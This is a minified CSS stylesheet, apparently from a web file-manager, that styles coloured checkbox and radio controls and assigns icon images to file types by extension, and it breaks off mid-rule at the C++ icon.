input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none 